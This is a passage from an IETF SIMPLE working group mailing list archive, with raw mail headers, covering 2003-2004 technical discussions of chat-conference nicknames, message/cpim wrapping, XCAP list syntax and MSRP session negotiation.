> tied to IM. If we need that functionality, we should=20
> introduce them as=20
> requirements in the general conferencing work. Additionally, the=20
> mechanism for this management should not be IM specific. Seems to me=20
> like CPCP would be the ideal way to set them up. I believe=20
> they would be=20
> useful for general conferencing as has been pointed out. The=20
> only thing=20
> thats really IM specific is how such information is conveyed in the=20
> message; usage of From in cpim seems reasonable to me.
>=20
> One other thing in the draft that I would like to point out, is that=20
> there is a feature that allows for private conversations.=20
> This is done=20
> by allowing a user to address an IM to one or more group=20
> participants,=20
> using To and CC CPIM fields. To me, this is also another conference=20
> function that is not specific to IM. In fact, I dont see how=20
> it differs=20
> from sidebars.
>=20
> Thanks,
> Jonathan R.
>=20
> Paul Kyzivat wrote:
>=20
> > Hmm. I was wondering about that too. I guess one=20
> possibility would be to=20
> > send the mapping from SSRC in RTCP. (I am not very=20
> knowledgable about=20
> > RTP, but I think RTCP carries a mapping from SSRC to text names.)
> >=20
> > Another way would be for the SSRC to itself be considered a form of=20
> > nickname and be published as part of the conference state.=20
> (I guess that=20
> > would require a facility for multiple nicknames per participant.)
> >=20
> >     Paul
> >=20
> > hisham.khartabil@nokia.com wrote:
> >=20
> >> Just out of curiosity: how do you transport the display name (nick=20
> >> name) for audio or video? In RTP? or does the recipient=20
> have to have=20
> >> local mapping between SSRCs and display names?
> >>
> >> /Hisham
> >>
> >>
> >>> -----Original Message-----
> >>> From: simple-admin@ietf.org=20
> [mailto:simple-admin@ietf.org]On Behalf Of
> >>> ext Paul Kyzivat
> >>> Sent: 23.February.2004 18:56
> >>> To: Garcia Miguel.An (Nokia-NRC/Helsinki)
> >>> Cc: simple@ietf.org; Niemi Aki (Nokia-M/Espoo)
> >>> Subject: Re: [Simple] Chat sessions
> >>>
> >>>
> >>>
> >>>
> >>>
> >>> Miguel.An.Garcia@nokia.com wrote:
> >>>
> >>>> Thanks for your comments. See my comments inline.
> >>>>
> >>>>
> >>>>> From: ext Paul Kyzivat [mailto:pkyzivat@cisco.com]
> >>>>>
> >>>>> Its good to think about things like this. But I think the=20
> >>>>
> >>>>
> >>> goal should
> >>>
> >>>>> not be to introduce special features for chat conferences. It=20
> >>>>> should be to learn what features users of chat=20
> conferences expect,=20
> >>>>> and ensure that comparable features are available via our=20
> >>>>> conference framework, and available with any media when=20
> that makes=20
> >>>>> sense. So I think some of these ideas need to flow back=20
> into the=20
> >>>>> conference framework.
> >>>>
> >>>>
> >>>> If we want to move things to the conference framework,
> >>>
> >>>
> >>> > then we need to develop a complete solution, based on
> >>> > requirements that... I dind't see so far. For instance,
> >>> > I believe all the requirements related to nicknames are
> >>> > addressing the session based conferences so far.
> >>> > We may want to extend those requriements, but there=20
> aren't any now.
> >>>
> >>> I agree there aren't. I am suggesting that *where it makes sense*=20
> >>> these should be advanced as requirements against conferences in=20
> >>> general, rather than being focused as requirements only for chat=20
> >>> conferences.
> >>>
> >>>
> >>>> Particularly, I don't know how useful is to use nicknames in
> >>>
> >>>
> >>> > an audio/video conference. The feature is useful in a conference
> >>> > of instance messages, but not so much in the other...
> >>> > Still, we may want to extend the conference package so that the
> >>> > user element can contain a <nickname> sub-element.
> >>> > This would allow a user to display the nickname of the=20
> conferees,
> >>> > no matter what the media is.
> >>>
> >>> Exactly. This becomes interesting in multimedia conferences to.
> >>> For instance it becomes a tag to use in identifying=20
> current speaker.
> >>>
> >>> It also may provide a better way to deal with anonymous=20
> participants=20
> >>> in all sorts of conferences, by giving them nicknames as=20
> handles to=20
> >>> reference them by.
> >>>
> >>> Then, instead of saying: "Will the anonymous participant with the=20
> >>> deep voice please repeat his question?", you can say:=20
> "Darth, will=20
> >>> you please repeat your question?".
> >>>
> >>>
> >>>>> However it is relatively trivial to be more accomodating,=20
> >>>>
> >>>>
> >>> adding and
> >>>
> >>>>> removing cpim wrappers according to the desires of the=20
> individual=20
> >>>>> endpoints.
> >>>>
> >>>>
> >>>> Basically, there are two ideas here: endpoints SHOULD use
> >>>
> >>>
> >>> > message/cpim when addressing a conference.
> >>> > The focus MUST use message/cpim. The idea is that the focus
> >>> > should indicate the nickname of the sender of the message,
> >>> > which is conveyed in the From header of the=20
> message/cpim message.
> >>> > Endpoints SHOULD use messgae/cpim to relief the focus from
> >>> > wrapping messages when the focus distributes a copy.
> >>>
> >>> Sounds good to me.
> >>>
> >>>
> >>>>> Nickname management is problematic. It seems as though=20
> >>>>
> >>>>
> >>> nicknames will
> >>>
> >>>>> need to be authenticated and authorized. But it isn't=20
> at all clear=20
> >>>>> that the focus is the right entity to do so. (The scope=20
> is wrong.)
> >>>>
> >>>>
> >>>> I don't think a nickname has to be authorized. Users are=20
> authorized,
> >>>
> >>>
> >>> > and once a user is authorized, she can choose any=20
> available nickname.
> >>> > Is this what you meant?
> >>>
> >>>> Regarding the scope of the nicknames, I believe a=20
> nickname should be
> >>>
> >>>
> >>> > unique within a conference server or an administrative domain.
> >>> > At least I don't see a valid requirement in getting nicknames
> >>> > valid across difrerent servers or different=20
> administrative domains.
> >>>
> >>> I guess this depends on how large and long lived these scopes are.
> >>> It clearly isn't good if the scope is a single conference.
> >>>
> >>> It isn't good if it is a conference server either, if=20
> that is just=20
> >>> one of a large pool of independent servers that are=20
> chosen at random=20
> >>> as hosts for conferences.
> >>>
> >>> When the same group of users join in a number of=20
> conferences over a=20
> >>> period of time, within that scope a nickname should be bound to a=20
> >>> user for as long as that user wants it to remain bound.
> >>>
> >>>
> >>>>> I think this would be better served by using real,=20
> routable im: or=20
> >>>>> sip: uris. As needed, service providers can exist to=20
> host nicknames=20
> >>>>> and forward requests addressed to them to other addresses.
> >>>>
> >>>>
> >>>> The point is that a nickname should not let you track=20
> the real user.
> >>>
> >>>
> >>> > Only the conference server is able to map the real SIP=20
> URI to the=20
> >>> nickname,
> >>> > but not users. For instance, if user B receives an=20
> instant message
> >>> > (through the conference server) from user A, B should=20
> only see the
> >>> > nickname, unless A wants to disclose his real URI.
> >>>
> >>>> Making nicknames a real URI loose the semantics of the=20
> "nickname".
> >>>
> >>>
> >>> > We don't want that behaviour, we want a nickname to=20
> remain a nickname,
> >>> > something meaningless.
> >>>
> >>> That depends on how things are administered. There could be=20
> >>> "nickname" servers, that are nothing but specialized=20
> proxies. I would=20
> >>> contract with one of these servers for whatever nicknames I want.=20
> >>> These would be unique usernames within the domain managed by that=20
> >>> server. Each would be configured to forward to an address of my=20
> >>> choice. I would be given control to turn forwarding on and off=20
> >>> selectively, so perhaps it would only work when I was=20
> actively using=20
> >>> a particular nickname in a conference.
> >>>
> >>> Then I could use the nickname as my address when joining a=20
> >>> conference. I could permit the conference server to disclose this=20
> >>> address, and yet my true identity would remain hidden.
> >>>
> >>> The advantage of this is that it decouples the administration of=20
> >>> nickname namespaces from the administration of conference servers.
> >>>
> >>> But I am not necessarily opposed to coupling nickname=20
> namespaces with=20
> >>> conference administration *if* the scoping can be made reasonable.
> >>>
> >>>     Paul
> >>>
> >>>
> >>> _______________________________________________
> >>> Simple mailing list
> >>> Simple@ietf.org
> >>> https://www1.ietf.org/mailman/listinfo/simple
> >>>
> >>
> >>
> >=20
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20
> --=20
> Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
> Chief Technology Officer                    Parsippany, NJ 07054-2711
> dynamicsoft
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:42:03 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA19062
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:42:03 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006WI-EP
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21H12Xp004011
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 12:01:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axqmq-000127-SN
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 12:01:00 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21877
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 12:00:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqmp-00036A-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 12:00:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axqm1-0002uX-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 12:00:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axql3-0002a4-00; Mon, 01 Mar 2004 11:59:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axqkw-00009I-Ke; Mon, 01 Mar 2004 11:59:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axqks-000086-Ey
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:58:58 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20805
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:58:55 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqj8-0002Ff-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:57:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqiC-0001wh-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:56:13 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqhf-0001oB-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:55:39 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21GtaT10269;
	Mon, 1 Mar 2004 18:55:36 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 18:55:21 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i21GtL7Y011836;
	Mon, 1 Mar 2004 18:55:21 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks004.ntc.nokia.com 00cXbdcN; Mon, 01 Mar 2004 18:55:19 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21GtI715830;
	Mon, 1 Mar 2004 18:55:18 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 18:55:18 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179780C@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
Thread-Index: AcP/dzf5OzjOao6NQl293w0GxcGGMwANqj8Q
To: <adam@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 01 Mar 2004 16:55:18.0161 (UTC) FILETIME=[F9C8B010:01C3FFAD]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 18:55:17 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

So, you need name to be mandatory and then push URI into an element like =
I suggested.

/Hisham

> -----Original Message-----
> From: ext Adam Roach [mailto:adam@dynamicsoft.com]
> Sent: 01.March.2004 12:22
> To: Khartabil Hisham (Nokia-TP-MSW/Helsinki); Adam Roach
> Cc: simple@ietf.org
> Subject: RE: [Simple] comments on draft-ietf-simple-xcap-list-usage-00
>=20
>=20
>=20
>=20
>=20
> hisham.khartabil@nokia.com [mailto:hisham.khartabil@nokia.com] writes:
>=20
> > > There is strong motivation to have a very small notation
> > > for minimal list, along the lines of:
> > >=20
> > >   <entry uri=3D"sip:adam@example.com" />
> > >   <entry uri=3D"sip:hisham@example.com" />
> > >   <entry uri=3D"sip:robert@example.com" />
> >=20
> > Yes, I was thinking the same. If the uri in unique, why do we=20
> > need name?
>=20
> The stated motivation has been that SIP URI comparision rules
> can be inefficient.
>=20
> /a
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:42:33 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA19100
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:42:33 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006YH-E6
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i21H3A6a006967
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 12:03:10 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axqow-0001oI-KE
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 12:03:10 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22060
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 12:03:08 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqov-0003Z4-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 12:03:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxqnM-0003CO-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 12:01:33 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqmN-0002x1-00; Mon, 01 Mar 2004 12:00:31 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axqm9-0000dF-Hz; Mon, 01 Mar 2004 12:00:17 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axql1-0000Ad-3A
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 11:59:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA20924
	for <simple@ietf.org>; Mon, 1 Mar 2004 11:59:03 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axqh1-0001kJ-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:54:59 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axqg8-0001aj-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:54:05 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxqfL-0001S3-00
	for simple@ietf.org; Mon, 01 Mar 2004 11:53:15 -0500
Received: from esdks004.ntc.nokia.com (esdks004.ntc.nokia.com [172.21.138.159])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21Gr5716861;
	Mon, 1 Mar 2004 18:53:05 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 18:52:58 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks004.ntc.nokia.com (8.12.9/8.12.9) id i21GqwjM000675;
	Mon, 1 Mar 2004 18:52:58 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks004.ntc.nokia.com 00d7lktF; Mon, 01 Mar 2004 18:52:57 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i21GquO09770;
	Mon, 1 Mar 2004 18:52:56 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 18:52:55 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] MSRP: Wrapped types
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179780B@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] MSRP: Wrapped types
Thread-Index: AcP/aTzkq4CZ/HSBRqawMrYqox8fqAARCHuQ
To: <pkyzivat@cisco.com>
Cc: <bcampbell@dynamicsoft.com>, <simple@ietf.org>
X-OriginalArrivalTime: 01 Mar 2004 16:52:55.0729 (UTC) FILETIME=[A4E34A10:01C3FFAD]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 18:52:56 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable



> -----Original Message-----
> From: ext Paul Kyzivat [mailto:pkyzivat@cisco.com]
> Sent: 01.March.2004 10:42
> To: Khartabil Hisham (Nokia-TP-MSW/Helsinki)
> Cc: bcampbell@dynamicsoft.com; simple@ietf.org
> Subject: Re: [Simple] MSRP: Wrapped types
>=20
>=20
> If we are to do more than leave as is, then I think we need=20
> to revisit=20
> requirements. I have the impression that the people raising=20
> issues may=20
> have different notions of what the requirements are.
>=20
> For instance, if there is a requirement to have messages wrapped in=20
> cpim, and then the cpim wrapper must be signed, and using=20
> just signed,=20
> or just cpim isn't ok, then we can't meet the requirement.

You can do that with the current solution. accept-types can have both =
message/cpim and signed. This means that they can both appear as wrapped =
types.

/Hisham

>=20
> 	Paul
>=20
> hisham.khartabil@nokia.com wrote:
> > My vote is to leave it as is. This is a solution that we=20
> were comfortable with after a long debate. The new proposals=20
> add no benefit.
> >=20
> > /Hisham
> >=20
> >=20
> >>-----Original Message-----
> >>From: simple-admin@ietf.org=20
> [mailto:simple-admin@ietf.org]On Behalf Of
> >>ext Ben Campbell
> >>Sent: 27.February.2004 22:53
> >>To: simple@ietf.org
> >>Subject: [Simple] MSRP: Wrapped types
> >>
> >>
> >>Another issue came up during the discussions several of us=20
> >>had a SIPIT.=20
> >>I am separating this out from the MSRP/SIMS harmonization=20
> >>email, as it=20
> >>is orthagonal to that.
> >>
> >>Several people commented that the existing "accept-types" and=20
> >>"accept-wrapped-types" were overly confusing and error prone.=20
> >>To recap,=20
> >>the point of this mechanism is to allow an MSRP device to accept a=20
> >>number of formats, but require them to be wrapped in an=20
> >>envelope of some=20
> >>sort. The motivation behind this is that a CPIM gateway may=20
> allow any=20
> >>number of content-types, but insist that everything be wrapped in a=20
> >>message/cpim envelope.
> >>
> >>The existing mechanism says that any format listed in=20
> >>"accept-types" can=20
> >>occur anywhere in a body, including at the root. Formats listed in=20
> >>"accept-wrapped-types" cannot occur at the root; that is,=20
> >>they must be=20
> >>wrapped inside of some format listed in "accept-types". This=20
> >>solves the=20
> >>problem, but it is pretty complicated and difficult to understand.
> >>
> >>Two possible alternatives were offered:
> >>
> >>1) Get rid of the "accept-wrapped-types" attribute, and=20
> >>instead add an=20
> >>attribute that means "I require CPIM". This would mean that=20
> >>all content=20
> >>must be wrapped in message/cpim envelopes.
> >>
> >>2) Generalize option 1 a little bit by adding an "envelope"=20
> >>attribute.=20
> >>This attribute would contain a single format entry. All=20
> >>content must be=20
> >>wrapped in that format.
> >>
> >>And of course, there is an implied item 3: Leave it as is.
> >>
> >>Thoughts?
> >>
> >>Thanks!
> >>
> >>Ben.
> >>
> >>_______________________________________________
> >>Simple mailing list
> >>Simple@ietf.org
> >>https://www1.ietf.org/mailman/listinfo/simple
> >>
> >=20
> >=20
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> >=20
>=20
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:43:44 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA19247
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:43:44 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjk-0006ZK-7K
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id hBGFlPcw027760
	for simple-archive@odin.ietf.org; Tue, 16 Dec 2003 10:47:25 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AWHPx-0007Cr-Ch
	for simple-web-archive@optimus.ietf.org; Tue, 16 Dec 2003 10:47:25 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19795
	for <simple-web-archive@ietf.org>; Tue, 16 Dec 2003 10:47:21 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AWHPu-0006MW-00
	for simple-web-archive@ietf.org; Tue, 16 Dec 2003 10:47:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AWHPn-0006LT-00
	for simple-web-archive@ietf.org; Tue, 16 Dec 2003 10:47:21 -0500
Received: from [65.246.255.50] (helo=manatick)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AWHPb-0006IZ-00; Tue, 16 Dec 2003 10:47:03 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by manatick with esmtp (Exim 4.24)
	id 1AWHPE-0003IG-LQ; Tue, 16 Dec 2003 10:46:59 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AWHOc-0006fT-S0; Tue, 16 Dec 2003 10:46:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AWHNo-0006Xt-MN
	for simple@optimus.ietf.org; Tue, 16 Dec 2003 10:45:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19483
	for <simple@ietf.org>; Tue, 16 Dec 2003 10:45:08 -0500 (EST)
From: aki.niemi@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AWHNm-00060G-00
	for simple@ietf.org; Tue, 16 Dec 2003 10:45:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AWHNg-0005z5-00
	for simple@ietf.org; Tue, 16 Dec 2003 10:45:09 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AWHNf-0005yk-00
	for simple@ietf.org; Tue, 16 Dec 2003 10:45:04 -0500
Received: from esvir01nok.ntc.nokia.com (esvir01nokt.ntc.nokia.com [172.21.143.33])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id hBGFj2724570
	for <simple@ietf.org>; Tue, 16 Dec 2003 17:45:02 +0200 (EET)
Received: from esebh004.NOE.Nokia.com (unverified) by esvir01nok.ntc.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T668c8cced4ac158f21081@esvir01nok.ntc.nokia.com>;
 Tue, 16 Dec 2003 17:45:02 +0200
Received: from esebe013.NOE.Nokia.com ([172.21.138.52]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6747);
	 Tue, 16 Dec 2003 17:45:01 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] MSRP: Some thoughts on session updates
Message-ID: <98C7D2E5BCD2374C9AAE0BCD2E9C1DD9027D9252@esebe013.ntc.nokia.com>
Thread-Topic: [Simple] MSRP: Some thoughts on session updates
Thread-Index: AcPD6vkes71bZffPS3OWLIj4z4qDtAAADaAA
To: <bcampbell@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 16 Dec 2003 15:45:01.0167 (UTC) FILETIME=[90DD77F0:01C3C3EB]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 16 Dec 2003 17:45:00 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable


Ben Campbell wrote:
 > > Because, it makes little sense to repeat a "offer both->=20
 > try active and fail -> answer passive" sequence for each new=20
 > MSRP component added to a session. This is an additional=20
 > benefit we would get by the below restrictions, which is a=20
 > good thing. Of course, this would not allow negotiating=20
 > 'direction' per MSRP session inside a SIP dialog, but I=20
 > don't see much use for that anyway.
 >=20
 > I think I agree, as long as we are only talking about MSRP=20
 > sessions. I=20
 > don't think the direction of some other kind connection=20
 > oriented media=20
 > session would necessarily imply the direction for MSRP, but=20
 > I think one=20
 > MSRP session can definitely imply a direction for a second=20
 > MSRP session.

Definitely agree that this would only apply to MSRP. Other connection =
oriented medias (or indeed the COMEDIA stuff in general) may define =
their own ways for handling this.=20

Cheers,
Aki

 >=20
 >=20
 > >=20
 > > Cheers,
 > > Aki
 > >=20
 > >=20
 > >  > -----Original Message-----
